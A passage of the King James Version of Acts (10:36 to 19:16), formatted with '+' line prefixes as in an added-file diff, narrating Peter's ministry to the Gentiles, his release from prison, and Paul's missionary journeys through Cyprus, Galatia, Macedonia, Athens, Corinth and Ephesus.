Israel, preaching +peace by Jesus Christ: (he is Lord of all:) 10:37 That word, I say, ye +know, which was published throughout all Judaea, and began from +Galilee, after the baptism which John preached; 10:38 How God anointed +Jesus of Nazareth with the Holy Ghost and with power: who went about +doing good, and healing all that were oppressed of the devil; for God +was with him. + +10:39 And we are witnesses of all things which he did both in the land +of the Jews, and in Jerusalem; whom they slew and hanged on a tree: +10:40 Him God raised up the third day, and shewed him openly; 10:41 +Not to all the people, but unto witnesses chosen before God, even to +us, who did eat and drink with him after he rose from the dead. + +10:42 And he commanded us to preach unto the people, and to testify +that it is he which was ordained of God to be the Judge of quick and +dead. + +10:43 To him give all the prophets witness, that through his name +whosoever believeth in him shall receive remission of sins. + +10:44 While Peter yet spake these words, the Holy Ghost fell on all +them which heard the word. + +10:45 And they of the circumcision which believed were astonished, as +many as came with Peter, because that on the Gentiles also was poured +out the gift of the Holy Ghost. + +10:46 For they heard them speak with tongues, and magnify God. Then +answered Peter, 10:47 Can any man forbid water, that these should not +be baptized, which have received the Holy Ghost as well as we? 10:48 +And he commanded them to be baptized in the name of the Lord. Then +prayed they him to tarry certain days. + +11:1 And the apostles and brethren that were in Judaea heard that the +Gentiles had also received the word of God. + +11:2 And when Peter was come up to Jerusalem, they that were of the +circumcision contended with him, 11:3 Saying, Thou wentest in to men +uncircumcised, and didst eat with them. + +11:4 But Peter rehearsed the matter from the beginning, and expounded +it by order unto them, saying, 11:5 I was in the city of Joppa +praying: and in a trance I saw a vision, A certain vessel descend, as +it had been a great sheet, let down from heaven by four corners; and +it came even to me: 11:6 Upon the which when I had fastened mine eyes, +I considered, and saw fourfooted beasts of the earth, and wild beasts, +and creeping things, and fowls of the air. + +11:7 And I heard a voice saying unto me, Arise, Peter; slay and eat. + +11:8 But I said, Not so, Lord: for nothing common or unclean hath at +any time entered into my mouth. + +11:9 But the voice answered me again from heaven, What God hath +cleansed, that call not thou common. + +11:10 And this was done three times: and all were drawn up again into +heaven. + +11:11 And, behold, immediately there were three men already come unto +the house where I was, sent from Caesarea unto me. + +11:12 And the Spirit bade me go with them, nothing doubting. Moreover +these six brethren accompanied me, and we entered into the man's +house: 11:13 And he shewed us how he had seen an angel in his house, +which stood and said unto him, Send men to Joppa, and call for Simon, +whose surname is Peter; 11:14 Who shall tell thee words, whereby thou +and all thy house shall be saved. + +11:15 And as I began to speak, the Holy Ghost fell on them, as on us +at the beginning. + +11:16 Then remembered I the word of the Lord, how that he said, John +indeed baptized with water; but ye shall be baptized with the Holy +Ghost. + +11:17 Forasmuch then as God gave them the like gift as he did unto us, +who believed on the Lord Jesus Christ; what was I, that I could +withstand God? 11:18 When they heard these things, they held their +peace, and glorified God, saying, Then hath God also to the Gentiles +granted repentance unto life. + +11:19 Now they which were scattered abroad upon the persecution that +arose about Stephen travelled as far as Phenice, and Cyprus, and +Antioch, preaching the word to none but unto the Jews only. + +11:20 And some of them were men of Cyprus and Cyrene, which, when they +were come to Antioch, spake unto the Grecians, preaching the LORD +Jesus. + +11:21 And the hand of the Lord was with them: and a great number +believed, and turned unto the Lord. + +11:22 Then tidings of these things came unto the ears of the church +which was in Jerusalem: and they sent forth Barnabas, that he should +go as far as Antioch. + +11:23 Who, when he came, and had seen the grace of God, was glad, and +exhorted them all, that with purpose of heart they would cleave unto +the Lord. + +11:24 For he was a good man, and full of the Holy Ghost and of faith: +and much people was added unto the Lord. + +11:25 Then departed Barnabas to Tarsus, for to seek Saul: 11:26 And +when he had found him, he brought him unto Antioch. And it came to +pass, that a whole year they assembled themselves with the church, and +taught much people. And the disciples were called Christians first in +Antioch. + +11:27 And in these days came prophets from Jerusalem unto Antioch. + +11:28 And there stood up one of them named Agabus, and signified by +the Spirit that there should be great dearth throughout all the world: +which came to pass in the days of Claudius Caesar. + +11:29 Then the disciples, every man according to his ability, +determined to send relief unto the brethren which dwelt in Judaea: +11:30 Which also they did, and sent it to the elders by the hands of +Barnabas and Saul. + +12:1 Now about that time Herod the king stretched forth his hands to +vex certain of the church. + +12:2 And he killed James the brother of John with the sword. + +12:3 And because he saw it pleased the Jews, he proceeded further to +take Peter also. (Then were the days of unleavened bread.) 12:4 And +when he had apprehended him, he put him in prison, and delivered him +to four quaternions of soldiers to keep him; intending after Easter to +bring him forth to the people. + +12:5 Peter therefore was kept in prison: but prayer was made without +ceasing of the church unto God for him. + +12:6 And when Herod would have brought him forth, the same night Peter +was sleeping between two soldiers, bound with two chains: and the +keepers before the door kept the prison. + +12:7 And, behold, the angel of the Lord came upon him, and a light +shined in the prison: and he smote Peter on the side, and raised him +up, saying, Arise up quickly. And his chains fell off from his hands. + +12:8 And the angel said unto him, Gird thyself, and bind on thy +sandals. + +And so he did. And he saith unto him, Cast thy garment about thee, and +follow me. + +12:9 And he went out, and followed him; and wist not that it was true +which was done by the angel; but thought he saw a vision. + +12:10 When they were past the first and the second ward, they came +unto the iron gate that leadeth unto the city; which opened to them of +his own accord: and they went out, and passed on through one street; +and forthwith the angel departed from him. + +12:11 And when Peter was come to himself, he said, Now I know of a +surety, that the LORD hath sent his angel, and hath delivered me out +of the hand of Herod, and from all the expectation of the people of +the Jews. + +12:12 And when he had considered the thing, he came to the house of +Mary the mother of John, whose surname was Mark; where many were +gathered together praying. + +12:13 And as Peter knocked at the door of the gate, a damsel came to +hearken, named Rhoda. + +12:14 And when she knew Peter's voice, she opened not the gate for +gladness, but ran in, and told how Peter stood before the gate. + +12:15 And they said unto her, Thou art mad. But she constantly +affirmed that it was even so. Then said they, It is his angel. + +12:16 But Peter continued knocking: and when they had opened the door, +and saw him, they were astonished. + +12:17 But he, beckoning unto them with the hand to hold their peace, +declared unto them how the Lord had brought him out of the prison. And +he said, Go shew these things unto James, and to the brethren. And he +departed, and went into another place. + +12:18 Now as soon as it was day, there was no small stir among the +soldiers, what was become of Peter. + +12:19 And when Herod had sought for him, and found him not, he +examined the keepers, and commanded that they should be put to death. +And he went down from Judaea to Caesarea, and there abode. + +12:20 And Herod was highly displeased with them of Tyre and Sidon: but +they came with one accord to him, and, having made Blastus the king's +chamberlain their friend, desired peace; because their country was +nourished by the king's country. + +12:21 And upon a set day Herod, arrayed in royal apparel, sat upon his +throne, and made an oration unto them. + +12:22 And the people gave a shout, saying, It is the voice of a god, +and not of a man. + +12:23 And immediately the angel of the Lord smote him, because he gave +not God the glory: and he was eaten of worms, and gave up the ghost. + +12:24 But the word of God grew and multiplied. + +12:25 And Barnabas and Saul returned from Jerusalem, when they had +fulfilled their ministry, and took with them John, whose surname was +Mark. + +13:1 Now there were in the church that was at Antioch certain prophets +and teachers; as Barnabas, and Simeon that was called Niger, and +Lucius of Cyrene, and Manaen, which had been brought up with Herod the +tetrarch, and Saul. + +13:2 As they ministered to the Lord, and fasted, the Holy Ghost said, +Separate me Barnabas and Saul for the work whereunto I have called +them. + +13:3 And when they had fasted and prayed, and laid their hands on +them, they sent them away. + +13:4 So they, being sent forth by the Holy Ghost, departed unto +Seleucia; and from thence they sailed to Cyprus. + +13:5 And when they were at Salamis, they preached the word of God in +the synagogues of the Jews: and they had also John to their minister. + +13:6 And when they had gone through the isle unto Paphos, they found a +certain sorcerer, a false prophet, a Jew, whose name was Barjesus: +13:7 Which was with the deputy of the country, Sergius Paulus, a +prudent man; who called for Barnabas and Saul, and desired to hear the +word of God. + +13:8 But Elymas the sorcerer (for so is his name by interpretation) +withstood them, seeking to turn away the deputy from the faith. + +13:9 Then Saul, (who also is called Paul,) filled with the Holy Ghost, +set his eyes on him. + +13:10 And said, O full of all subtilty and all mischief, thou child of +the devil, thou enemy of all righteousness, wilt thou not cease to +pervert the right ways of the Lord? 13:11 And now, behold, the hand +of the Lord is upon thee, and thou shalt be blind, not seeing the sun +for a season. And immediately there fell on him a mist and a darkness; +and he went about seeking some to lead him by the hand. + +13:12 Then the deputy, when he saw what was done, believed, being +astonished at the doctrine of the Lord. + +13:13 Now when Paul and his company loosed from Paphos, they came to +Perga in Pamphylia: and John departing from them returned to +Jerusalem. + +13:14 But when they departed from Perga, they came to Antioch in +Pisidia, and went into the synagogue on the sabbath day, and sat down. + +13:15 And after the reading of the law and the prophets the rulers of +the synagogue sent unto them, saying, Ye men and brethren, if ye have +any word of exhortation for the people, say on. + +13:16 Then Paul stood up, and beckoning with his hand said, Men of +Israel, and ye that fear God, give audience. + +13:17 The God of this people of Israel chose our fathers, and exalted +the people when they dwelt as strangers in the land of Egypt, and with +an high arm brought he them out of it. + +13:18 And about the time of forty years suffered he their manners in +the wilderness. + +13:19 And when he had destroyed seven nations in the land of Chanaan, +he divided their land to them by lot. + +13:20 And after that he gave unto them judges about the space of four +hundred and fifty years, until Samuel the prophet. + +13:21 And afterward they desired a king: and God gave unto them Saul +the son of Cis, a man of the tribe of Benjamin, by the space of forty +years. + +13:22 And when he had removed him, he raised up unto them David to be +their king; to whom also he gave their testimony, and said, I have +found David the son of Jesse, a man after mine own heart, which shall +fulfil all my will. + +13:23 Of this man's seed hath God according to his promise raised unto +Israel a Saviour, Jesus: 13:24 When John had first preached before his +coming the baptism of repentance to all the people of Israel. + +13:25 And as John fulfilled his course, he said, Whom think ye that I +am? I am not he. But, behold, there cometh one after me, whose shoes +of his feet I am not worthy to loose. + +13:26 Men and brethren, children of the stock of Abraham, and +whosoever among you feareth God, to you is the word of this salvation +sent. + +13:27 For they that dwell at Jerusalem, and their rulers, because they +knew him not, nor yet the voices of the prophets which are read every +sabbath day, they have fulfilled them in condemning him. + +13:28 And though they found no cause of death in him, yet desired they +Pilate that he should be slain. + +13:29 And when they had fulfilled all that was written of him, they +took him down from the tree, and laid him in a sepulchre. + +13:30 But God raised him from the dead: 13:31 And he was seen many +days of them which came up with him from Galilee to Jerusalem, who are +his witnesses unto the people. + +13:32 And we declare unto you glad tidings, how that the promise which +was made unto the fathers, 13:33 God hath fulfilled the same unto us +their children, in that he hath raised up Jesus again; as it is also +written in the second psalm, Thou art my Son, this day have I begotten +thee. + +13:34 And as concerning that he raised him up from the dead, now no +more to return to corruption, he said on this wise, I will give you +the sure mercies of David. + +13:35 Wherefore he saith also in another psalm, Thou shalt not suffer +thine Holy One to see corruption. + +13:36 For David, after he had served his own generation by the will of +God, fell on sleep, and was laid unto his fathers, and saw corruption: +13:37 But he, whom God raised again, saw no corruption. + +13:38 Be it known unto you therefore, men and brethren, that through +this man is preached unto you the forgiveness of sins: 13:39 And by +him all that believe are justified from all things, from which ye +could not be justified by the law of Moses. + +13:40 Beware therefore, lest that come upon you, which is spoken of in +the prophets; 13:41 Behold, ye despisers, and wonder, and perish: for +I work a work in your days, a work which ye shall in no wise believe, +though a man declare it unto you. + +13:42 And when the Jews were gone out of the synagogue, the Gentiles +besought that these words might be preached to them the next sabbath. + +13:43 Now when the congregation was broken up, many of the Jews and +religious proselytes followed Paul and Barnabas: who, speaking to +them, persuaded them to continue in the grace of God. + +13:44 And the next sabbath day came almost the whole city together to +hear the word of God. + +13:45 But when the Jews saw the multitudes, they were filled with +envy, and spake against those things which were spoken by Paul, +contradicting and blaspheming. + +13:46 Then Paul and Barnabas waxed bold, and said, It was necessary +that the word of God should first have been spoken to you: but seeing +ye put it from you, and judge yourselves unworthy of everlasting life, +lo, we turn to the Gentiles. + +13:47 For so hath the Lord commanded us, saying, I have set thee to be +a light of the Gentiles, that thou shouldest be for salvation unto the +ends of the earth. + +13:48 And when the Gentiles heard this, they were glad, and glorified +the word of the Lord: and as many as were ordained to eternal life +believed. + +13:49 And the word of the Lord was published throughout all the +region. + +13:50 But the Jews stirred up the devout and honourable women, and the +chief men of the city, and raised persecution against Paul and +Barnabas, and expelled them out of their coasts. + +13:51 But they shook off the dust of their feet against them, and came +unto Iconium. + +13:52 And the disciples were filled with joy, and with the Holy Ghost. + +14:1 And it came to pass in Iconium, that they went both together into +the synagogue of the Jews, and so spake, that a great multitude both +of the Jews and also of the Greeks believed. + +14:2 But the unbelieving Jews stirred up the Gentiles, and made their +minds evil affected against the brethren. + +14:3 Long time therefore abode they speaking boldly in the Lord, which +gave testimony unto the word of his grace, and granted signs and +wonders to be done by their hands. + +14:4 But the multitude of the city was divided: and part held with the +Jews, and part with the apostles. + +14:5 And when there was an assault made both of the Gentiles, and also +of the Jews with their rulers, to use them despitefully, and to stone +them, 14:6 They were ware of it, and fled unto Lystra and Derbe, +cities of Lycaonia, and unto the region that lieth round about: 14:7 +And there they preached the gospel. + +14:8 And there sat a certain man at Lystra, impotent in his feet, +being a cripple from his mother's womb, who never had walked: 14:9 The +same heard Paul speak: who stedfastly beholding him, and perceiving +that he had faith to be healed, 14:10 Said with a loud voice, Stand +upright on thy feet. And he leaped and walked. + +14:11 And when the people saw what Paul had done, they lifted up their +voices, saying in the speech of Lycaonia, The gods are come down to us +in the likeness of men. + +14:12 And they called Barnabas, Jupiter; and Paul, Mercurius, because +he was the chief speaker. + +14:13 Then the priest of Jupiter, which was before their city, brought +oxen and garlands unto the gates, and would have done sacrifice with +the people. + +14:14 Which when the apostles, Barnabas and Paul, heard of, they rent +their clothes, and ran in among the people, crying out, 14:15 And +saying, Sirs, why do ye these things? We also are men of like passions +with you, and preach unto you that ye should turn from these vanities +unto the living God, which made heaven, and earth, and the sea, and +all things that are therein: 14:16 Who in times past suffered all +nations to walk in their own ways. + +14:17 Nevertheless he left not himself without witness, in that he did +good, and gave us rain from heaven, and fruitful seasons, filling our +hearts with food and gladness. + +14:18 And with these sayings scarce restrained they the people, that +they had not done sacrifice unto them. + +14:19 And there came thither certain Jews from Antioch and Iconium, +who persuaded the people, and having stoned Paul, drew him out of the +city, supposing he had been dead. + +14:20 Howbeit, as the disciples stood round about him, he rose up, and +came into the city: and the next day he departed with Barnabas to +Derbe. + +14:21 And when they had preached the gospel to that city, and had +taught many, they returned again to Lystra, and to Iconium, and +Antioch, 14:22 Confirming the souls of the disciples, and exhorting +them to continue in the faith, and that we must through much +tribulation enter into the kingdom of God. + +14:23 And when they had ordained them elders in every church, and had +prayed with fasting, they commended them to the Lord, on whom they +believed. + +14:24 And after they had passed throughout Pisidia, they came to +Pamphylia. + +14:25 And when they had preached the word in Perga, they went down +into Attalia: 14:26 And thence sailed to Antioch, from whence they had +been recommended to the grace of God for the work which they +fulfilled. + +14:27 And when they were come, and had gathered the church together, +they rehearsed all that God had done with them, and how he had opened +the door of faith unto the Gentiles. + +14:28 And there they abode long time with the disciples. + +15:1 And certain men which came down from Judaea taught the brethren, +and said, Except ye be circumcised after the manner of Moses, ye +cannot be saved. + +15:2 When therefore Paul and Barnabas had no small dissension and +disputation with them, they determined that Paul and Barnabas, and +certain other of them, should go up to Jerusalem unto the apostles and +elders about this question. + +15:3 And being brought on their way by the church, they passed through +Phenice and Samaria, declaring the conversion of the Gentiles: and +they caused great joy unto all the brethren. + +15:4 And when they were come to Jerusalem, they were received of the +church, and of the apostles and elders, and they declared all things +that God had done with them. + +15:5 But there rose up certain of the sect of the Pharisees which +believed, saying, That it was needful to circumcise them, and to +command them to keep the law of Moses. + +15:6 And the apostles and elders came together for to consider of this +matter. + +15:7 And when there had been much disputing, Peter rose up, and said +unto them, Men and brethren, ye know how that a good while ago God +made choice among us, that the Gentiles by my mouth should hear the +word of the gospel, and believe. + +15:8 And God, which knoweth the hearts, bare them witness, giving them +the Holy Ghost, even as he did unto us; 15:9 And put no difference +between us and them, purifying their hearts by faith. + +15:10 Now therefore why tempt ye God, to put a yoke upon the neck of +the disciples, which neither our fathers nor we were able to bear? +15:11 But we believe that through the grace of the LORD Jesus Christ +we shall be saved, even as they. + +15:12 Then all the multitude kept silence, and gave audience to +Barnabas and Paul, declaring what miracles and wonders God had wrought +among the Gentiles by them. + +15:13 And after they had held their peace, James answered, saying, Men +and brethren, hearken unto me: 15:14 Simeon hath declared how God at +the first did visit the Gentiles, to take out of them a people for his +name. + +15:15 And to this agree the words of the prophets; as it is written, +15:16 After this I will return, and will build again the tabernacle of +David, which is fallen down; and I will build again the ruins thereof, +and I will set it up: 15:17 That the residue of men might seek after +the Lord, and all the Gentiles, upon whom my name is called, saith the +Lord, who doeth all these things. + +15:18 Known unto God are all his works from the beginning of the +world. + +15:19 Wherefore my sentence is, that we trouble not them, which from +among the Gentiles are turned to God: 15:20 But that we write unto +them, that they abstain from pollutions of idols, and from +fornication, and from things strangled, and from blood. + +15:21 For Moses of old time hath in every city them that preach him, +being read in the synagogues every sabbath day. + +15:22 Then pleased it the apostles and elders with the whole church, +to send chosen men of their own company to Antioch with Paul and +Barnabas; namely, Judas surnamed Barsabas and Silas, chief men among +the brethren: 15:23 And they wrote letters by them after this manner; +The apostles and elders and brethren send greeting unto the brethren +which are of the Gentiles in Antioch and Syria and Cilicia. + +15:24 Forasmuch as we have heard, that certain which went out from us +have troubled you with words, subverting your souls, saying, Ye must +be circumcised, and keep the law: to whom we gave no such commandment: +15:25 It seemed good unto us, being assembled with one accord, to send +chosen men unto you with our beloved Barnabas and Paul, 15:26 Men that +have hazarded their lives for the name of our Lord Jesus Christ. + +15:27 We have sent therefore Judas and Silas, who shall also tell you +the same things by mouth. + +15:28 For it seemed good to the Holy Ghost, and to us, to lay upon you +no greater burden than these necessary things; 15:29 That ye abstain +from meats offered to idols, and from blood, and from things +strangled, and from fornication: from which if ye keep yourselves, ye +shall do well. Fare ye well. + +15:30 So when they were dismissed, they came to Antioch: and when they +had gathered the multitude together, they delivered the epistle: 15:31 +Which when they had read, they rejoiced for the consolation. + +15:32 And Judas and Silas, being prophets also themselves, exhorted +the brethren with many words, and confirmed them. + +15:33 And after they had tarried there a space, they were let go in +peace from the brethren unto the apostles. + +15:34 Notwithstanding it pleased Silas to abide there still. + +15:35 Paul also and Barnabas continued in Antioch, teaching and +preaching the word of the Lord, with many others also. + +15:36 And some days after Paul said unto Barnabas, Let us go again and +visit our brethren in every city where we have preached the word of +the LORD, and see how they do. + +15:37 And Barnabas determined to take with them John, whose surname +was Mark. + +15:38 But Paul thought not good to take him with them, who departed +from them from Pamphylia, and went not with them to the work. + +15:39 And the contention was so sharp between them, that they departed +asunder one from the other: and so Barnabas took Mark, and sailed unto +Cyprus; 15:40 And Paul chose Silas, and departed, being recommended by +the brethren unto the grace of God. + +15:41 And he went through Syria and Cilicia, confirming the churches. + +16:1 Then came he to Derbe and Lystra: and, behold, a certain disciple +was there, named Timotheus, the son of a certain woman, which was a +Jewess, and believed; but his father was a Greek: 16:2 Which was well +reported of by the brethren that were at Lystra and Iconium. + +16:3 Him would Paul have to go forth with him; and took and +circumcised him because of the Jews which were in those quarters: for +they knew all that his father was a Greek. + +16:4 And as they went through the cities, they delivered them the +decrees for to keep, that were ordained of the apostles and elders +which were at Jerusalem. + +16:5 And so were the churches established in the faith, and increased +in number daily. + +16:6 Now when they had gone throughout Phrygia and the region of +Galatia, and were forbidden of the Holy Ghost to preach the word in +Asia, 16:7 After they were come to Mysia, they assayed to go into +Bithynia: but the Spirit suffered them not. + +16:8 And they passing by Mysia came down to Troas. + +16:9 And a vision appeared to Paul in the night; There stood a man of +Macedonia, and prayed him, saying, Come over into Macedonia, and help +us. + +16:10 And after he had seen the vision, immediately we endeavoured to +go into Macedonia, assuredly gathering that the Lord had called us for +to preach the gospel unto them. + +16:11 Therefore loosing from Troas, we came with a straight course to +Samothracia, and the next day to Neapolis; 16:12 And from thence to +Philippi, which is the chief city of that part of Macedonia, and a +colony: and we were in that city abiding certain days. + +16:13 And on the sabbath we went out of the city by a river side, +where prayer was wont to be made; and we sat down, and spake unto the +women which resorted thither. + +16:14 And a certain woman named Lydia, a seller of purple, of the city +of Thyatira, which worshipped God, heard us: whose heart the Lord +opened, that she attended unto the things which were spoken of Paul. + +16:15 And when she was baptized, and her household, she besought us, +saying, If ye have judged me to be faithful to the Lord, come into my +house, and abide there. And she constrained us. + +16:16 And it came to pass, as we went to prayer, a certain damsel +possessed with a spirit of divination met us, which brought her +masters much gain by soothsaying: 16:17 The same followed Paul and us, +and cried, saying, These men are the servants of the most high God, +which shew unto us the way of salvation. + +16:18 And this did she many days. But Paul, being grieved, turned and +said to the spirit, I command thee in the name of Jesus Christ to come +out of her. + +And he came out the same hour. + +16:19 And when her masters saw that the hope of their gains was gone, +they caught Paul and Silas, and drew them into the marketplace unto +the rulers, 16:20 And brought them to the magistrates, saying, These +men, being Jews, do exceedingly trouble our city, 16:21 And teach +customs, which are not lawful for us to receive, neither to observe, +being Romans. + +16:22 And the multitude rose up together against them: and the +magistrates rent off their clothes, and commanded to beat them. + +16:23 And when they had laid many stripes upon them, they cast them +into prison, charging the jailor to keep them safely: 16:24 Who, +having received such a charge, thrust them into the inner prison, and +made their feet fast in the stocks. + +16:25 And at midnight Paul and Silas prayed, and sang praises unto +God: and the prisoners heard them. + +16:26 And suddenly there was a great earthquake, so that the +foundations of the prison were shaken: and immediately all the doors +were opened, and every one's bands were loosed. + +16:27 And the keeper of the prison awaking out of his sleep, and +seeing the prison doors open, he drew out his sword, and would have +killed himself, supposing that the prisoners had been fled. + +16:28 But Paul cried with a loud voice, saying, Do thyself no harm: +for we are all here. + +16:29 Then he called for a light, and sprang in, and came trembling, +and fell down before Paul and Silas, 16:30 And brought them out, and +said, Sirs, what must I do to be saved? 16:31 And they said, Believe +on the Lord Jesus Christ, and thou shalt be saved, and thy house. + +16:32 And they spake unto him the word of the Lord, and to all that +were in his house. + +16:33 And he took them the same hour of the night, and washed their +stripes; and was baptized, he and all his, straightway. + +16:34 And when he had brought them into his house, he set meat before +them, and rejoiced, believing in God with all his house. + +16:35 And when it was day, the magistrates sent the serjeants, saying, +Let those men go. + +16:36 And the keeper of the prison told this saying to Paul, The +magistrates have sent to let you go: now therefore depart, and go in +peace. + +16:37 But Paul said unto them, They have beaten us openly uncondemned, +being Romans, and have cast us into prison; and now do they thrust us +out privily? nay verily; but let them come themselves and fetch us +out. + +16:38 And the serjeants told these words unto the magistrates: and +they feared, when they heard that they were Romans. + +16:39 And they came and besought them, and brought them out, and +desired them to depart out of the city. + +16:40 And they went out of the prison, and entered into the house of +Lydia: and when they had seen the brethren, they comforted them, and +departed. + +17:1 Now when they had passed through Amphipolis and Apollonia, they +came to Thessalonica, where was a synagogue of the Jews: 17:2 And +Paul, as his manner was, went in unto them, and three sabbath days +reasoned with them out of the scriptures, 17:3 Opening and alleging, +that Christ must needs have suffered, and risen again from the dead; +and that this Jesus, whom I preach unto you, is Christ. + +17:4 And some of them believed, and consorted with Paul and Silas; and +of the devout Greeks a great multitude, and of the chief women not a +few. + +17:5 But the Jews which believed not, moved with envy, took unto them +certain lewd fellows of the baser sort, and gathered a company, and +set all the city on an uproar, and assaulted the house of Jason, and +sought to bring them out to the people. + +17:6 And when they found them not, they drew Jason and certain +brethren unto the rulers of the city, crying, These that have turned +the world upside down are come hither also; 17:7 Whom Jason hath +received: and these all do contrary to the decrees of Caesar, saying +that there is another king, one Jesus. + +17:8 And they troubled the people and the rulers of the city, when +they heard these things. + +17:9 And when they had taken security of Jason, and of the other, they +let them go. + +17:10 And the brethren immediately sent away Paul and Silas by night +unto Berea: who coming thither went into the synagogue of the Jews. + +17:11 These were more noble than those in Thessalonica, in that they +received the word with all readiness of mind, and searched the +scriptures daily, whether those things were so. + +17:12 Therefore many of them believed; also of honourable women which +were Greeks, and of men, not a few. + +17:13 But when the Jews of Thessalonica had knowledge that the word of +God was preached of Paul at Berea, they came thither also, and stirred +up the people. + +17:14 And then immediately the brethren sent away Paul to go as it +were to the sea: but Silas and Timotheus abode there still. + +17:15 And they that conducted Paul brought him unto Athens: and +receiving a commandment unto Silas and Timotheus for to come to him +with all speed, they departed. + +17:16 Now while Paul waited for them at Athens, his spirit was stirred +in him, when he saw the city wholly given to idolatry. + +17:17 Therefore disputed he in the synagogue with the Jews, and with +the devout persons, and in the market daily with them that met with +him. + +17:18 Then certain philosophers of the Epicureans, and of the Stoicks, +encountered him. And some said, What will this babbler say? other +some, He seemeth to be a setter forth of strange gods: because he +preached unto them Jesus, and the resurrection. + +17:19 And they took him, and brought him unto Areopagus, saying, May +we know what this new doctrine, whereof thou speakest, is? 17:20 For +thou bringest certain strange things to our ears: we would know +therefore what these things mean. + +17:21 (For all the Athenians and strangers which were there spent +their time in nothing else, but either to tell, or to hear some new +thing.) 17:22 Then Paul stood in the midst of Mars' hill, and said, +Ye men of Athens, I perceive that in all things ye are too +superstitious. + +17:23 For as I passed by, and beheld your devotions, I found an altar +with this inscription, TO THE UNKNOWN GOD. Whom therefore ye +ignorantly worship, him declare I unto you. + +17:24 God that made the world and all things therein, seeing that he +is Lord of heaven and earth, dwelleth not in temples made with hands; +17:25 Neither is worshipped with men's hands, as though he needed any +thing, seeing he giveth to all life, and breath, and all things; 17:26 +And hath made of one blood all nations of men for to dwell on all the +face of the earth, and hath determined the times before appointed, and +the bounds of their habitation; 17:27 That they should seek the Lord, +if haply they might feel after him, and find him, though he be not far +from every one of us: 17:28 For in him we live, and move, and have our +being; as certain also of your own poets have said, For we are also +his offspring. + +17:29 Forasmuch then as we are the offspring of God, we ought not to +think that the Godhead is like unto gold, or silver, or stone, graven +by art and man's device. + +17:30 And the times of this ignorance God winked at; but now +commandeth all men every where to repent: 17:31 Because he hath +appointed a day, in the which he will judge the world in righteousness +by that man whom he hath ordained; whereof he hath given assurance +unto all men, in that he hath raised him from the dead. + +17:32 And when they heard of the resurrection of the dead, some +mocked: and others said, We will hear thee again of this matter. + +17:33 So Paul departed from among them. + +17:34 Howbeit certain men clave unto him, and believed: among the +which was Dionysius the Areopagite, and a woman named Damaris, and +others with them. + +18:1 After these things Paul departed from Athens, and came to +Corinth; 18:2 And found a certain Jew named Aquila, born in Pontus, +lately come from Italy, with his wife Priscilla; (because that +Claudius had commanded all Jews to depart from Rome:) and came unto +them. + +18:3 And because he was of the same craft, he abode with them, and +wrought: for by their occupation they were tentmakers. + +18:4 And he reasoned in the synagogue every sabbath, and persuaded the +Jews and the Greeks. + +18:5 And when Silas and Timotheus were come from Macedonia, Paul was +pressed in the spirit, and testified to the Jews that Jesus was +Christ. + +18:6 And when they opposed themselves, and blasphemed, he shook his +raiment, and said unto them, Your blood be upon your own heads; I am +clean; from henceforth I will go unto the Gentiles. + +18:7 And he departed thence, and entered into a certain man's house, +named Justus, one that worshipped God, whose house joined hard to the +synagogue. + +18:8 And Crispus, the chief ruler of the synagogue, believed on the +Lord with all his house; and many of the Corinthians hearing believed, +and were baptized. + +18:9 Then spake the Lord to Paul in the night by a vision, Be not +afraid, but speak, and hold not thy peace: 18:10 For I am with thee, +and no man shall set on thee to hurt thee: for I have much people in +this city. + +18:11 And he continued there a year and six months, teaching the word +of God among them. + +18:12 And when Gallio was the deputy of Achaia, the Jews made +insurrection with one accord against Paul, and brought him to the +judgment seat, 18:13 Saying, This fellow persuadeth men to worship God +contrary to the law. + +18:14 And when Paul was now about to open his mouth, Gallio said unto +the Jews, If it were a matter of wrong or wicked lewdness, O ye Jews, +reason would that I should bear with you: 18:15 But if it be a +question of words and names, and of your law, look ye to it; for I +will be no judge of such matters. + +18:16 And he drave them from the judgment seat. + +18:17 Then all the Greeks took Sosthenes, the chief ruler of the +synagogue, and beat him before the judgment seat. And Gallio cared for +none of those things. + +18:18 And Paul after this tarried there yet a good while, and then +took his leave of the brethren, and sailed thence into Syria, and with +him Priscilla and Aquila; having shorn his head in Cenchrea: for he +had a vow. + +18:19 And he came to Ephesus, and left them there: but he himself +entered into the synagogue, and reasoned with the Jews. + +18:20 When they desired him to tarry longer time with them, he +consented not; 18:21 But bade them farewell, saying, I must by all +means keep this feast that cometh in Jerusalem: but I will return +again unto you, if God will. And he sailed from Ephesus. + +18:22 And when he had landed at Caesarea, and gone up, and saluted the +church, he went down to Antioch. + +18:23 And after he had spent some time there, he departed, and went +over all the country of Galatia and Phrygia in order, strengthening +all the disciples. + +18:24 And a certain Jew named Apollos, born at Alexandria, an eloquent +man, and mighty in the scriptures, came to Ephesus. + +18:25 This man was instructed in the way of the Lord; and being +fervent in the spirit, he spake and taught diligently the things of +the Lord, knowing only the baptism of John. + +18:26 And he began to speak boldly in the synagogue: whom when Aquila +and Priscilla had heard, they took him unto them, and expounded unto +him the way of God more perfectly. + +18:27 And when he was disposed to pass into Achaia, the brethren +wrote, exhorting the disciples to receive him: who, when he was come, +helped them much which had believed through grace: 18:28 For he +mightily convinced the Jews, and that publickly, shewing by the +scriptures that Jesus was Christ. + +19:1 And it came to pass, that, while Apollos was at Corinth, Paul +having passed through the upper coasts came to Ephesus: and finding +certain disciples, 19:2 He said unto them, Have ye received the Holy +Ghost since ye believed? And they said unto him, We have not so much +as heard whether there be any Holy Ghost. + +19:3 And he said unto them, Unto what then were ye baptized? And they +said, Unto John's baptism. + +19:4 Then said Paul, John verily baptized with the baptism of +repentance, saying unto the people, that they should believe on him +which should come after him, that is, on Christ Jesus. + +19:5 When they heard this, they were baptized in the name of the Lord +Jesus. + +19:6 And when Paul had laid his hands upon them, the Holy Ghost came +on them; and they spake with tongues, and prophesied. + +19:7 And all the men were about twelve. + +19:8 And he went into the synagogue, and spake boldly for the space of +three months, disputing and persuading the things concerning the +kingdom of God. + +19:9 But when divers were hardened, and believed not, but spake evil +of that way before the multitude, he departed from them, and separated +the disciples, disputing daily in the school of one Tyrannus. + +19:10 And this continued by the space of two years; so that all they +which dwelt in Asia heard the word of the Lord Jesus, both Jews and +Greeks. + +19:11 And God wrought special miracles by the hands of Paul: 19:12 So +that from his body were brought unto the sick handkerchiefs or aprons, +and the diseases departed from them, and the evil spirits went out of +them. + +19:13 Then certain of the vagabond Jews, exorcists, took upon them to +call over them which had evil spirits the name of the LORD Jesus, +saying, We adjure you by Jesus whom Paul preacheth. + +19:14 And there were seven sons of one Sceva, a Jew, and chief of the +priests, which did so. + +19:15 And the evil spirit answered and said, Jesus I know, and Paul I +know; but who are ye? 19:16 And the man in whom the evil spirit was 